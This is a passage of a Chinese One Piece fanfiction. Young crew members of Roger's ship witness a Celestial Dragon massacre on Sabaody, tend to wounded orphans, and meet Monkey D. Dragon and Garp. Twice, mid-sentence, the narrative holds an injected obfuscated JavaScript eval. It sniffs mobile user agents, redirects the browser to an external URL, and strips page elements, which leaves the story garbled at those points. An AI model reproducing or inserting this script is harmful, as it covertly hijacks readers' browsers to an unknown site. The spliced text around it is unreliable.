“他说他学霸气就很快,特别是你现在的...训练方法。我们觉得也许是你能力的原因,不管是聆听万物之声还是天生的某种见闻色。能力之间总有共通之处的。比如你潜意识对自己身体的了解会加强你对它的控制什么的。” “诶——好帅啊。” “是吧?” “可是我用剑很烂。” “说明你不适合做剑客咯,那也没事。” 雷利起身离开前又掐了掐杰里手感很好的脸。这小子自己捣鼓的药膏是真的很好用,小一些的伤基本隔天就好的差不多了。 “等到了香波地会有很多树脂泡泡哦,你可以弄点回来捣鼓你的实验用,谁知道你都能搞出来什么乱七八糟的。” “好耶!” 杰里聪明着呢,他可以听懂一些无声的包容。 15.香波地群岛 到了香波地群岛,杰里终于亲眼看到了雷利所说的“泡泡”。 香波迪群岛并不是传统意义上的岛,而是由亚尔其蔓红树树群裸露在海水之外的部分组成。其根部呼吸时分泌出特殊的天然树脂,膨胀起来就形成了泡泡,飞向天空。 “原来''树脂泡泡''还可以这样天然形成吗?飞得到处都是啊。”杰里从手边的箱子里翻出一副医用手套,抓住了一个泡泡。意外的没有破裂,不过是树脂的话倒也说得通了。 “蛮漂亮的吧?” 香克斯抱着脑袋站在一旁,盘算着等会带杰里先去哪里玩比较好。他已经不是第一次来香波地了,但是想到可以带杰里好好参观一下还是很兴奋。 巴基数着下船时分给他们的钱袋,三人份都在他那里,以免香克斯乱花钱,这成了他们之间不成文的小习惯。当然,如果杰里要买什么他会大方地给,毕竟他同意自己收走一部分当“辛苦费”。有礼貌的家伙就是不一样,不像臭克斯还说什么''诶杰里你就是太惯着他啦''这种挑拨离间的话! “雷利先生说船要镀膜,用的就是这种泡泡?” 杰里蹲下身摸摸树根,发现还没有形成泡泡的树脂质地要更黏稠,会粘在手套上。而泡泡本身则不会,还可以拉来拉去延展性很好。 “唔...大概?有很多用处啦,等我们去商业街你就知道了,还有泡泡游乐园呢!”香克斯想到香波地乐园更迫不及待了,大声暗示着他们可以出发了。 但是杰里没动弹 ,反而从箱子里掏出来一个大罐子,慢悠悠地往里面装树脂。 “真不错呀,看来强度和密封性都很好呢。而且形态的变化也很有趣。” 香克斯还没来得及回应,就听他自顾自地说了下去,“经过加工后也许也会有更多的用处呢,精密的医疗设备也许也可以用得上,或者骨骼修复,如果可以开发出药物相容性的话也可以确保实验药物临床应用的有效性......” 再见了,泡泡乐园,感觉杰里下一秒就要回船上做实验了是怎么回事啊,明明才刚上岛走了没几米吧。 “书呆子,别念叨啦!快走了,本大爷要吃伟大包!” 谢谢你,巴基,我也想吃伟大包。 停下念叨的小少年抬头,意识到了两位伙伴的心急,加快了手上的动作。 “抱歉抱歉,马上就好了。我们不用等贾巴先生吗?” 因为香波地是进入新世界,也就是伟大航路后半段的必经之路,所以岛上鱼龙混杂,除了居民外聚集了大量的商人,海贼,赏金猎人等等。除了商业街,更是有着海军驻扎地和不法地带。出于安全考虑,雷利还是安排了贾巴跟着他们三个,只不过刚刚靠岸的原因,对方还在忙。 “不用啦,我们来过好几次了!避开1-29号和60-69号区域就好了。”香克斯指了指标在巨大树干上的编号,“而且就算碰上一些小混混什么的,我们也完全打得过。” 杰里耸耸肩,终于在二人期待已久的眼神里站了起来。这也不是他们第一次没人监督在岛上乱跑,应该没问题吧。 “久等啦,伟大包是什么东西,味道很伟大?” 他刚将用完的手套装好塞回箱子里,香克斯就牵了上来,拽着他往里走,他只好拉住巴基,三个人又习惯性连成一排。 “不是啦,是伟大航路包子,超级好吃的特产哦。还有伟大航路仙贝,伟大航路年糕......” “真是简单易懂的系列产品呀...” 等贾巴下船的时候,发现刚刚还在岸边等他的小家伙们已经不见踪影。虽然说已经有所预料,但还是感到了些许头痛。本来以为至少小狐狸会对树脂感兴趣,收集完了会送回船上呢。 正在他抬脚准备去找他们时,口袋里的电话虫噗噜噗噜地响了。 “喂?雷利?我还以为你一上岛就去找夏琪得腻歪一会儿呢。” “别贫,贾巴。你和孩子们在一起吗?” 贾巴收起了脸上的笑容,在雷利严肃的声音里加快了脚步。 “所以雷利先生和夏琪小姐是情侣咯?” “啊,不算吧,他们不会像故事书里那样。” “暧昧对象?” “哈哈哈哈哈反正有船员调侃他的话会被打。” 手里拎着特产,嘴里嚼着伟大包的三小只不知道大人们的焦急,慢悠悠的在街上闲逛,甚至像一群小女生一样讲起了八卦。本来计划的参观路线早就完全抛之脑后,因为杰里看到泡泡相关的东西就要去摸两把,研究一下。别人家的地基啊,窗户啊;泡泡车啊,钥匙扣啊;人家泡泡口袋都是拴着绳子飘起来省时省力的,就他抱在手上玩了半天。 “你这家伙怎么会这么复杂的词啊,书呆子吗。” “真失礼啊巴基,不过我是磁鼓岛上听来的哦,之前卖给我们布丁的安妮小姐,大家总是在说她''有三个暧昧对象''这件事。” “那她真厉害啊。” “夏琪大姐以前也是海贼呢,也很厉害的。” 杰里抬头,已经能看见远处游乐园露出的一角,摩天轮站得高高的,缓慢地转动着。过山车呼啸而过的时候会带起一片风声和欢乐的尖叫声。在喧闹的街道上,如果仔细听,也能听到一点各种飘来的音乐。离得近了,身边的孩子越来越多,有的牵着自己的亲人,有的和同龄的小伙伴成群结队,也有的只是羡慕地盯着摩天轮,远远的站在一边。他没去过游乐园,但是在书里读到过。彩色的棉花糖和热腾腾的热狗是标配,而不断传来的欢笑声是最好的广告,邀请大家去那玩耍的天堂。杰里心里隐隐升起一股期待,决定好好找找泡泡乐园会带给他什么样的收藏。 雷利不知道自己变成了男孩们难得八卦的主角,也没想到自己那点事全被脑子里还没有这根筋的实习生们抖出去了。他和罗杰正急匆匆地从夏琪的酒吧离开,一同前往香波地乐园,他知道孩子们的目的地就是那。久违见到夏琪的好心情完全一扫而空,取而代之的全是担忧。 “别担心,雷利。贾巴已经过去了,不会有事的,他们可是杰克逊号上的孩子。” 罗杰看出来了他的紧张,拍了拍他的肩膀。但怎么可能不担心,天龙人啊。一群顶着神的后裔的名头无恶不作的世界贵族,不管你是男女老少,在那群垃圾眼里都是一样的——无需在意死活的奴隶预备役。 实习生们已经有所了解,杰里可是没接触过这回事。他有些懊恼自己怎么忘记了提醒那小子这码事,明明香波地是天龙人的后花园一样的存在。 夏琪曾经是九蛇海贼团的船长,亚马逊的皇帝,本就很有实力,机敏过人。现在更是出色的情报贩子,调的一手好酒。他和罗杰才刚刚在她的酒吧里坐下,喝一杯酒,聊聊近况,询问了一下有没有卡普的消息。在罗杰炫耀地说船上新来的小医生还是个孩子就很有潜力的时候,漂亮的酒吧老板娘皱了皱眉毛。 “还是个刚接触大海的孩子吗?你们最好有派人跟着他在香波地闲逛。”她看了雷利一眼,“这次情报算你们免费,不过我接到消息,这两天会有天龙人下界到香波地。是那个喜欢用小孩当枪靶的兹瓦罗斯弗圣和他女儿。” 打电话虫确认在贾巴下船之前那三个小子就跑没影了,雷利就坐不住了。拜托夏琪找手艺最好的工匠给杰克逊号最快的速度镀膜,他怀着一股不好的预感,拉着罗杰就跑出了门外。他听说过这个天龙人,毕竟天龙人的恶心爱好有很多,大多也就是抢抢民女,抓抓奴隶,看一些血腥的斗兽场和拍卖会这类的。每个人都有自己''高雅''的癖好,这位就是会时不时的下界到小孩聚堆的地方用逃窜的孩子们当枪靶,练习''狩猎''。以前雷利不是很理解,参与了神之谷事件之后,他也就明白为什么练习了。 “听着,罗杰,夏琪说卡普快到了。无论如何最好不要在香波地打起来,我们的船镀膜最快也要一天半甚至两天,这里离海军总部很近。”雷利虽然知道杰里他们不一定会正好碰上那个兹瓦罗斯弗,但是该死的,他觉得就是会碰上,这可是罗杰海贼团的运气。他只能希望贾巴已经先于他们找到那三个乱跑的家伙,至少已经带他们离开了那片街道。 “来不及了,伙计。”罗杰语气是少有的严肃。雷利抬头,发现他们已经到达商业街,虽然这里已经完全没有喧闹的气氛了。看到眼前的场景,他只觉得胸口烦躁的厉害,找到街边那个小小的身影后,又只能叹了口气。 他不知道自己是该庆幸贾巴确实先他们一步找到了人,还是该悲叹找到的时机晚了一步。 杰里看上去没受伤,只是跪在什么东西前一动不动。贾巴紧紧地抿着嘴,手里抓着巴基和香克斯。 两个孩子面色惨白,看着四周的景象。 就在他们三人快要到香波地乐园的时候,贾巴突然出现,抓着他们到一旁的小巷,说要先回船上。然后就是枪声,骂声,哭喊声。香克斯看到那白色臃肿的衣服和玻璃头套就知道,天龙人来了,而他们沉浸在兴奋里完全没注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566775|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。愤怒点燃了他,让他想要冲出去狠狠地揍那个家伙一顿。 他们是海贼,但是也不会去伤害平民,而这些被叫做世界贵族的家伙在干什么! 他的肩膀被死死地按住了。香克斯回过神,发现贾巴一左一右地抓着他和巴基,杰里不知道在想什么,好像被突发的情况吓呆了一样僵着一动不动,只是盯着巷子口外面。 “别动,香克斯,船长在来的路上了。” 香克斯想拉住杰里的手,对方却触电一样闪开了。 贾巴其实和香克斯的想法差不多,如果罗杰在这里打上去阻止那群人的话,他会义无反顾地跟着冲上去,用斧子把那群垃圾的牙都敲碎的。 但是副船长给他的任务是看住这三个孩子,他们的安危是第一。船还没镀膜,岛上有海军驻扎,天龙人身边有不少CP成员,如果自己跟他们打起来风险很大,更别提身边还有个才学习战斗不到一年的小子。 直到外面的声响逐渐平息,他才示意三人跟着他出去。小狐狸不知道是不是吓傻了,僵硬地行走着,不听他的话走到了一个呻吟着的孩子身边。环顾四周,贾巴本以为自己不能更生气了,看来不是这样。 天龙人已经离开了,不知道抓了多少人去哪里逍遥,还是启程回玛丽乔亚。本来热闹的街道冷清了很多,不远处游乐园也寂静一片,只有一些设施源源不断的歌声还在继续,其中稚嫩的唱腔和眼前血淋淋的画面结合在一起,更让人觉得不适。很多人倒在地上,不止有小孩,还有一些大人,可能是想要保护自己孩子的父母,一齐被天龙人和身边的一群走狗射杀。一些只是受了伤的孩子呻吟着,哭泣着,被腿断了的父亲一边流泪一边安慰;另一边还有伤不重母亲抱起来奄奄一息的小女孩往医院赶。身边没人的大概就是不法抵地带的孤儿了,死去的没人收尸,受伤的只能躺在地上,一些哀嚎的声音越来越小,最后也没了声息。 面对这种场景,贾巴只想赶紧带着孩子们回船上,再把库洛卡斯叫来帮忙。听到香克斯小声呼唤杰里的声音,他偏过头,发现那个小鬼跪在了地上,而远处赶来了他的正副船长。 雷利和贾巴交换了一个眼神,挂断了手里打给库洛卡斯的电话虫。罗杰生气了,他不看对方的表情都能知道,隐隐透出来的霸气戳一下就能炸。他走到好像没注意到他们的小孩身边,离近了才发现杰里面前的''东西''是一个小女孩的尸体,看起来和他差不多大。身上能看见的地方有两个弹孔,但都已经不再流血了。 杰里的两只手倒是沾满了鲜血,还放在对方的身上,喜欢穿的白色卫衣也沾上了不少,洇出深深的颜色。 雷利叹了口气,在他的身侧蹲下来,却突然不知道该说点什么。最后是杰里先开口,而面对他的询问,雷利短暂思考后还是决定实话实说。 “雷利先生,这样的死亡,也很盛大吗?” 不,茵弗。 “他们都去做神的孩子?” 不,茵弗。 “他们去哪了?天堂?地狱?还是就这样消失了?” 我不知道,孩子。他们可能哪也不去,就一直在自己爱的人身边。 “所以,这也是他们的''0%''?” ....不,茵弗。 他们本可以长大,像你一样,像你姐姐一样。 听到他的话,杰里抖了一下,低低的说了一句:“我明白了。”他收回自己的手,盯着看了看,紧紧握住了拳头,又展开。 那个女孩在他跪到面前的时候还活着,他听着她身体的声音从尖锐到消失,只是短短的一会儿而已。她大概是不想死吧,用颤抖的手怎么也堵不住涌出的鲜血,等到杰里过来的时候,又颤抖地抓住他的手,却没力气开口了。杰里不知道她想说什么,也不知道她的名字,她和米森一点都不像,他却突然好奇她有没有弟弟。可是没有答案了,他握着她的手,直到她身体里再也没了声响。 他看到了她发夹上糖果的装饰,看到她手边掉了两张染血的游乐园门票。 ''你有弟弟吗?'' 再抬头时,杰里的脸上又挂起了微笑。他看向罗杰,又重复道:“我明白了。” 罗杰看着他,点点头后严肃的脸色放松了一些。 “你要跟我们去打架吗?” 杰里环顾四周后拒绝了他:“您们去吧,库洛卡斯先生也去打架吗,如果不去的话,也许可以来这里帮忙。” 他拉过医疗箱,示意了一下自己满是鲜血的手掌。 16.龙的正义就是分走的仙贝 距香波地不远的海面上,一艘军舰缓慢地,缓慢地行驶着。 “卡普中将,元帅来电。” “不接!跟空老头说我在路上了!再走个三四个月就到了!” 博加特叹了口气,直接将手里的电话虫举到了躺椅上的男人面前。 “卡普。” “哦!元帅!找到别的大将人选了?都说了老子不当。” 卡普挖着鼻子大声回话。他已经把军舰速度压到最慢了,赶紧多出来点海贼让他抓抓就不回总部了。 钢骨空额头的青筋跳了跳,现下却也不是骂这个刺头的时候。 “不是这件事,香波地群岛有天龙人遇袭,你去一趟。” “哈?那些家伙遇袭就遇袭呗,跟我一个小小中将什么关系,不应该是派大将去吗。” 博加特熟练地将电话虫拿的离自家长官远了一点,果然,下一秒空元帅的怒吼声就传了出来:“卡普!!别以为我不知道你已经在香波地附近晃悠一周了!其他大将都远着呢!让你去你就去!是你去了的话上面也说不出什么。” 老头子可真精神,卡普掏掏耳朵。他才不在乎天龙人的事儿,不想升大将也是不想和那帮人有交集。才不去凑热闹。 “驻地海军说袭击者是罗杰海贼——” “我去!” 卡普一下从躺椅上翻了下来,也没听电话虫里后续传出来的指示,大声招呼着军士们全速前往香波地群岛。 龙被卡普叫到身边的时候,发现自家父亲今天心情不错。最近两人的争吵越发增多,他很少主动往对方身边凑。但是自从总部要升他大将,谁都能看出来他的不爽,任性地指挥军舰在海上兜圈子,蜗牛一样往马林福德挪。 现在军舰的速度倒是提起来了,甚至可以说十分迅速。父亲也满脸笑容,眼里燃烧着战意。 “龙!天龙人,香波地,罗杰!” 龙点点头,原来如此,''罗杰海贼团在香波地袭击了天龙人''。 他严肃的脸上露出一丝抗拒的神色,自从参与了神之谷的那场大战,他对天龙人以及世界政府失望极了,也没少和卡普吵架再打架,他不能认同父亲对海军的坚持。 “你去处理吧!” 龙掏掏耳朵:“什么?” 卡普大声吩咐道:“我去找罗杰打架!把他抓起来!你就去事发地!” 说完后他压低声音,拍了拍龙的肩膀,“只是天龙人遇袭嘛,不想去就不去吧,你去岛上转转。” 然后他又恢复了先前的音量:“知道了吗!这是重要的任务,你一个人好好干!” 龙为父亲难得的服软感到有些震惊,下意识回了声“是”。 而卡普看着自己的儿子,微不可察地叹了口气。他明白对方对海军正义的动摇,但是自己也有所坚持的正义。蒙奇家的男人都固执,他不觉得是坏事。既然天龙人的事情让龙烦躁,那就不要凑过去了,毕竟他自己也烦得慌。 “给老爸我买点伟大仙贝回来!” 龙在登岛后,没有去买仙贝,而是憋着一股火气按着一路指引走到了香波地乐园附近。 街上的血还没清理,发出带着腥味的锈气。他从居民的口中已经知道了这些血不来源于海贼残暴的屠杀,而是''天龙人经过了这里''的结果。 他叹了一口气,虽然父亲不想让自己掺合,但是天龙人下界了,那肯定就有平民需要帮助。海军都跟着卡普去抓捕罗杰海贼团,或者安抚天龙人去了,他就得看看居民状况,尤其是游乐园附近应该有很多孩子。 他在制服外套了个袍子,走向了看起来正在给一个小女孩腿上缠绷带的男人。 “您好...” 发型奇特的男人回过头,他才发现对方是情报里罗杰海贼团的新船医,库洛卡斯。他顿了一下,继续开口道:“这里有什么需要帮忙的吗?” 对方警惕地看了他一眼,周围的几个大人也都紧张地缩了缩,把孩子们挡在身后。 “我并没有恶意,只是听说天龙人经过,想着可能有人受伤...” 他还没说完,就被一声稚嫩的痛呼打断了。 面前的大汉——库洛卡斯皱着眉看向声音来源,烦躁的低声骂了一句,大喊道:“茵弗玛利!!!说几遍了你注意点!!” “闭嘴!!花头发老头!!他吵死了!!!我不这样弄他就等着感染吧!!” 龙扭头看过去,是一个深色皮肤的小少年,戴着医用口罩,却没有戴手套,手下死死按着一个痛的扭来扭去的男孩,呛声之后还狠狠曲指弹了一下他的额头,挤出一个扭曲的笑。 “就这还想当商人赚大钱?你笨死了!多吃点核桃和鱼吧!” 库洛卡斯迅速绑好自己身边小姑娘的腿,将她往龙的手里一塞就要气冲冲地起身,却被突然冒出来的另外两个少年阻止了。他们也戴着医用口罩和手套,红头发的手里捧着药瓶纱布,蓝发的那个端着一个里面还有血水的盆子,应该是也在帮忙。 “我们来吧,库洛卡斯前辈。” 龙有些好奇地凑了过去,怀里还抱着个衣服上全是血的孩子也不在意。 红发的男孩将手上的东西放到一边,牵起暴躁少年的手腕放在自己的额头上,用安抚的声音说:“没事的杰里,你听我的声音。不吵了不吵了。” 蓝发的那个嘀咕着什么,拿过对方手边的药瓶,用药棉沾着,代替他一点点给那个受伤的男孩上药。 那个奇怪的少年真的安静下来了,龙更加疑惑地歪了歪头。怀里的小姑娘看他习惯性严肃的表情,以为他在因为之前粗鲁的大喊不悦,有些担心的扯了扯他的袖子。 “大叔,你别生气,茵弗哥哥人很好的,只是听了太多人伤太久之后就会变得有点奇怪。香克斯哥哥和巴基哥哥会帮他的,然后就好了。” 龙有些尴尬地拍了拍她的后背,也知道是自己的表情太严厉了,可是他就长这样啊。 “不...我没生气,他...变得奇怪?听?” 小姑娘眼睛亮了亮,崇拜地点点头:“嗯!有时候是会变得生气,就像他刚刚对杰克逊发火,有的时候是变得很着急,呼哧呼哧喘气。”她咯咯笑了笑,像讲秘密一样小声说,“他跟我们说是他的手有魔法,可以帮他听到我们伤口里的怪兽,库洛卡斯大叔帮他一起赶走它们,我们就能活下来了。” 恶魔果实?龙想了想,眼神温柔了下来。是个好孩子啊,虽然跟海贼呆在一起。不过,在听到小女孩说自己能活下来的时候声音里的不可思议,他感到嘴里有些苦涩。 “你叫什么,孩子?” “珊米” “珊米,你们怎么没去医院呢?” 小姑娘很平淡地说:“因为我们是孤儿啊大叔。除了几个因为爸爸妈妈也受伤了没法及时去医院而跟我们在这里,我们都是自己照顾自己的。” “岛上驻扎的海军呢?不帮你们吗?” 珊米看他的眼神就像在看一个笨蛋。 “你是外面来的吧,大叔,海军才没时间管我们呢。” 龙突然觉得自己外袍下的制服无比滚烫,他张了张口,却发现自己无法为海军辩护。一方面来说,香波地作为伟大航路的一大关口,确实海军在岛上需要管理的事物众多,也要时刻维护秩序。但是另一方面,岛上存在着大范围的不法地带,人口贩卖还被默许等都是不争的事实。而现在呢?天龙人伤了这些孩子后扬长而去,制裁他们的却是一群海贼,而海军只能维护着害人者,留这些受伤的人在这里,不管他们愿不愿意。 “您好,先生,请将珊米放下来我检查一下,感谢您来帮忙。” 龙低头,那个叫茵弗的孩子笑眯眯地看着他,见他注意过来了还很有礼貌地鞠了半躬,还真是反差很大。 “请放心,先生,我并不是在胡闹。刚刚的场面让您见笑了。” ....所以说他是天生长得严厉而已!龙无奈地蹲了下来,将怀里的孩子换了个半躺的姿势。 “谢谢您。” 杰里对小姑娘做了个鬼脸,逗得她咯咯笑的时候握住她的手,然后微微点了点头。 “不愧是库洛卡斯先生,大怪兽已经变成小虫子了,你接下来一段时间不要乱动,然后要慢慢做复健知道吗?我会给你留下帮助肌肉修复的药。毕竟子弹还是伤到了不少组织,太着急的话会留下病根的。” 珊米亲昵地捏着他的手,有点不好意思地说:“茵弗哥哥,我听不懂。” 杰里:“看来你只比杰克逊聪明20%嘛~”他点了点她的鼻子,“就是说等养好了之后要慢慢地活动,练习抬腿呀,走路呀什么的。但是不能把自己弄得太累,感到疼了就要休息,给你留下的药也要好好用。”他又伸手将红发少年招了过来,“你没有钱买拐杖吧,我让香克斯哥哥给你弄一个。等你好起来,就能像你喜欢的那样跑很快了。” “额...”龙在这时插话了,在对方看过来时清了清嗓子,“那个,我可以出钱买一些后续需要的用具...你们不用...''弄''一个。” “诶——先生真是心善呐。”杰里毫不客气,“那就拜托您了,不用买太贵的,等他们回不法地带的时候身上不适合有太好的东西。” “其实他们可以去海军基地,我有...认识的人,也许可以给这些孩子安排一个更好的住处。” 没想到是珊米先拒绝了他,小姑娘被过来的香克斯接到了怀里,对着他摇了摇头。 “不用了,大叔,不过还是谢谢你。我们生活的地方还有很多跟我们一样的伙伴,海军不会免费照顾我们所有人,我们还是要自己活下去的。” 她稚嫩的声音闷闷的卡在他的胸腔里,直到她被叫香克斯的少年抱去了库洛卡斯身边,他还是站着没动。 海军啊—— 自己活下去吗? 在他沉默时,杰里打量着这个奇怪的人,结合他说的话,看着对方袍子下露出的一点白色立领,心里生出一些猜测。他打断对方的沉思,用轻松的语气说道:“那么先生,麻烦您去医院跑一趟了,之后如果您还想帮忙的话,可以帮我们把一些不方便活动的孩子送回去。” 龙回过神,认真地点了点头,默默地记着杰里嘴里冒出来的一个又一个需要购买的东西。在听到“易储存的干粮和罐头若干份”的时候,下意识地勾了勾嘴角。 等他离开,面对库洛卡斯上扬的眉毛,杰里只是比了个大拇指,神神秘秘地说,自己给雷利省了一大笔钱。 龙在买东西时,一直在想刚刚目睹的一切。而他的一些量很大的订单在他展示了自己海军的身份后也得到了迅速安排。 这个身份还是有些好处的,他有些苦涩地想。 什么是我的正义呢? 已经不是第一次,他冒出来了离开海军的想法。他少年从军,与其说是向往不如说是跟着父亲踩着对方的脚印前进。而这些年他见过的事情太多,太多了。他参与了多少保护贵族抛弃平民的任务?镇压了多少人民反抗暴政的“叛乱”?他跟着军令,放弃了多少非加盟国? 他的战友们有的毫无在意,有的留着热泪。所谓海军内部的鹰派鸽派也只是人的信念在冲突。归根结底他们是海军,海军跟着元帅,而元帅受制于五老星。最后在守护的究竟是什么也分不清了,到底是“民众”还是“正义”。 在返回的路上路过卖特产的店,他想起父亲半玩笑的嘱咐,想起那些孤儿。在接过大包的仙贝和包子的时候,他环顾着已经陆陆续续又出来开店的摊贩们,再次意识到香波地是一个多么繁华,多么可悲的岛,它甚至都不是个岛。 隔着一条街的土地上鲜血还未洗掉,海军和海贼在岛的另一侧打得轰轰烈烈,而人们习以为常的态度才是最令他感到割裂的。 他捏了捏手里的仙贝,发出一声脆响。 龙的脑海里突然浮现了那个小少年的身影,他自诩已经了解了海军的正义,那个孩子的正义又是什么呢? “为什么帮这些孩子?” 杰里将手里的最后一批物资塞到小屋地板下新造的夹层里,默默清点着。这大叔买的有点太多了,如果别人知道这些孩子们囤了这么多物资肯定会引起麻烦的,得想办法藏起来。 “为什么问我,先生?这种问题不应该问库洛卡斯先生吗?” 龙又递过一罐豆子:“我也会询问他的,但是我想你的观点也同样重要。” “您又是为什么帮他们呢,先生?” 龙脚下的地板发出嘎吱一声,这些孩子们住的地方与其说是个房子,不如说是个勉强直起来的盒子,用一点木料和铁皮拼凑。角落的火塘里架着一口破了沿的锅,墙上挂着几条干鱼,光线昏暗。 “因为——” “因为您是个海军?” 二人同时开口道。龙有些惊讶地看了杰里一眼,对方头都没回,他耸耸肩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个跟着他们的男孩点点头:“嗯!因为茵弗大哥说要去祝福死掉的人,我也想学习一下。以后再有伙伴死掉也祝福他们。” “那你呢大叔?”香克斯抬头,微微眯眼看了跟上来的龙一眼。 龙没有被他怀疑的眼神伤到,毕竟他们确实姑且算是阵营对立的陌生人。反而是朱尼尔的话让他更感到难过。 “我也去...买一束花吧,算是我的祝福。” 香克斯又瞟了他一眼,嘀咕道:“什么嘛,是个好人啊。” 杰里没管他们,他跟海贼学了不少东西,比如就做一些自己想做的事。所以即使□□嘲讽了他无数次,他该哀悼还是哀悼。这些日子他不怎么想起亨姆岛,但总还是没法放弃一些习惯,再说,这也是他和米森最后些许的联系了。 除了随处可见的血迹,那条街上已经基本恢复了喧哗,之前他们给人治疗的地方也是在躲过的巷口附近,所以杰里又走到那边,将自己染满血迹的卫衣脱下来垫到地上,扶着朱尼尔让他跪坐在上面,自己跪在了旁边。 香克斯和巴基在犹豫要不要也跟着跪下来的时候被杰里阻止了,只是让他们只是站在一旁就好。 他接过龙递过来的花,很传统祭拜会用的花,小小的,可能是时间晚了,有点蔫吧。杰里没在意,只是递给朱尼尔。对方用还能动的那只手接了过来,有些不知道该怎么办。 杰里揉揉他的小脑袋,又亲了亲他的脸颊,安抚地说:“没关系,不用紧张的。你手不方便,所以看我做就好,你可以送给他们花,好吗?” 黑色头发的小男孩有些害羞地点点头,看着杰里从口袋里拿出了一个女孩子用的发夹握在手里,双手合十后闭上了眼睛。 “一般是不用跪下的,坐着站着都可以,只要心意传达了就好。但是我家乡的习俗是,如果你对死者抱有歉意,跪下会有谢罪和告解的意味。” “你可以对他们说你想说的话,说出声或者默念都可以的。但是最后要说的祝福都是一样的。” 龙尊重地站在他们身后,默默观察着。在杰里提到家乡习俗的时候心里升起一丝好奇。什么样的生活环境造就了这样的孩子?他又为什么小小年纪就出海当海贼? 杰里在短暂的沉默后用嘴唇贴了贴手里的发夹。 “愿您安息,灵魂以飞鸟、以蝴蝶,跃进那金色的拱门,随着钟声去向蜜与奶的乐园。” 说完后他就睁开眼,朱尼尔将手里的花放到了二人面前,有些磕绊地跟着他重复。等他也说完了,杰里骄傲地搂过他大声夸赞他做的太好啦。然后在小男孩不好意思的大叫里笑嘻嘻地把对方扶了起来,又捡起自己的衣服抖了抖抱在怀里。 朱尼尔脸红红的,有些犹豫地指指他手里的糖果发夹:“最后要亲什么重要的东西吗?如果没有呢?” 杰里:“不用哦,没有的话用嘴唇贴贴你的手就好了。我其实也不太懂这个动作,我姐姐教我这么做我就这么做了。” “茵弗大哥还有姐姐?” “是的,她最厉害了,所以这些都是她教我的。” “她也是海贼吗?” 杰里将朱尼尔推向走过来的库洛卡斯: “不是哦,她是神的孩子。” 库洛卡斯递过一个电话虫,告诉香克斯带他们去敲竹杠酒吧后,自己去送依依不舍的朱尼尔回去了。 “那么您呢,先生?要去我们那里做客吗?” “喂—!杰里你这家伙不要随便带奇怪的人啊!” “没事啦巴基,海军先生人挺好的不是吗,及时表达感谢也是好礼仪哦。” “你还知道他是海军啊!”巴基跳脚,“还有!本大爷可是海贼,才不管你那些什么礼仪呢!” 龙也不想他们争吵,而且自己身份上确实也不适合去海贼的什么集合点。他没把他们抓起来严格意义上来说已经是在违抗军令了。这个想法突然让他一僵——''我已经在叛逆海军了''。自从他选择用外袍遮住自己的制服,他就已经做出了选择。感觉...并不坏。也许自己一开始就没有多少忠诚。 “算了没事。”香克斯突然开口,“反正船长也认识可以一起喝酒的海军不是吗,比如那个卡普,带他也没关系吧。” 龙的思维突然卡壳,父亲确实和罗杰亦敌亦友的...等会不会他走进酒吧就看到和罗杰干杯的父亲吧?? 他买的仙贝都分出去了啊??? 17.混乱的小子 龙最后还是跟着几个孩子兜兜转转进了一家叫做“敲竹杠”的酒吧。 果不其然,推开门就能看到自己的父亲和罗杰雷利坐在吧台边,两个人脸上血都没擦就在喝酒。角落的几张桌子也是坐着罗杰海贼团的船员,卡座的躺椅上躺着一个小天龙人.... 小天龙人?? “噢!龙你也来了啊,仙贝呢?” 卡普招呼着僵在门边的儿子,自然地又拿锅一个杯子倒上酒放在身旁。 海贼们只是随意扫了新来的客人一眼,就将注意力放在了跑进来的孩子们身上。 “噢噢回来了啊!怎么样啊!” “我们狠狠地给你们出气了哦!” “来干杯吧!干杯!” 罗杰张开手臂,接住了扑倒自己怀里的孩子,还没抱热乎呢就被身旁的雷利捞走了。 “他受伤了,你没戴手套。” 雷利没理叫唤着抗议的船长,掏出一副白手套给瘫在自己怀里的小蘑菇戴上,“怎么把衣服脱了?这边靠海有海风,只穿衬衫不冷?” 蘑菇没吭声,只是摇了摇头,又被转移回了罗杰怀里。 高大的船长用自己的披风把他裹起来,从外面看只能看到头上一点淡金色的头发。笑嘻嘻地让夏琪倒三杯果汁。 “累啦?” 只听到哼唧一声。 “救回来几个?” 一只小手从披风里钻出来,比了个数字。 “干的不错嘛!剩下的人呢?” “...有几位女士先生说会帮忙海葬。” “好!” 罗杰深吸了一口气,“伙计们,庆祝茵弗第一次主动行医——干杯吧!!” “噢噢噢噢!!!” “真棒啊茵弗!” “不愧是罗杰海贼团的小医生嘛!” “回船上给你烤吐司吧!!” “喂,芋头!别贿赂人家啊!” 他深吸一口气,压回眼眶的热意。强迫自己从罗杰令人安心的、强壮的心跳声里抬头,然后跳出对方的怀抱,向为他鼓掌欢呼的船员们鞠躬。再起身时,又恢复了平日的冷静。 “谢谢大家!我会分享的,芋头先生的”最美味吐司!” 想起来自己邀请的客人,他又连忙转过头去对着不熟悉的两个男人说道:“失礼了,您好!我是杰、茵弗玛利!” 罗杰开心地大笑着,两手放到他腋下将他抱起来,像炫耀什么小动物一样把他举到卡普面前晃了晃。 “就是他啦!怎么样卡普,不错吧?” 杰里淡定微笑:“您就是卡普先生呀,果然看起来就强壮又帅气呢。” 卡普:“噢!你这小家伙很有眼光嘛!”他大力拍了拍身旁人的肩膀,“你认识我家儿子啦?这是龙!” 龙早就习惯自家父亲的怪力了,对着他们点点头,“蒙奇·D·龙。” “诶,【英勇的英雄】与【理解之巨蛇】吗?二位果然都名如其人呢。” “什么啊?” 罗杰将他放在椅子上,夏琪递过来一杯果汁。 